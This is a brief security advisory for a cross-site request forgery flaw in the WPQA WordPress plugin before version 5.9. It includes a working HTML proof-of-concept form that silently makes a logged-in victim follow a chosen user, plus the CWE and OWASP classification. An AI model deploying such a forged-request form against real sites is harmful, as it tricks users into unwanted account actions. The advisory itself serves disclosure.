

WPQA < 5.9 - Follow/Unfollow via CSRF

Description

The plugin does not have CSRF check when following and unfollowing users, which could allow attackers to make logged in users perform such actions via CSRF attacks

Proof of Concept

```
<html>
  <body>
    <form action="https://example.comwp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpqa&#95;following&#95;you" />
      <input type="hidden" name="following&#95;var&#95;id" value="9839" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Affects Plugins

 wpqa

Fixed in version 5.9 

References

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CWE-352

Miscellaneous

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Yes

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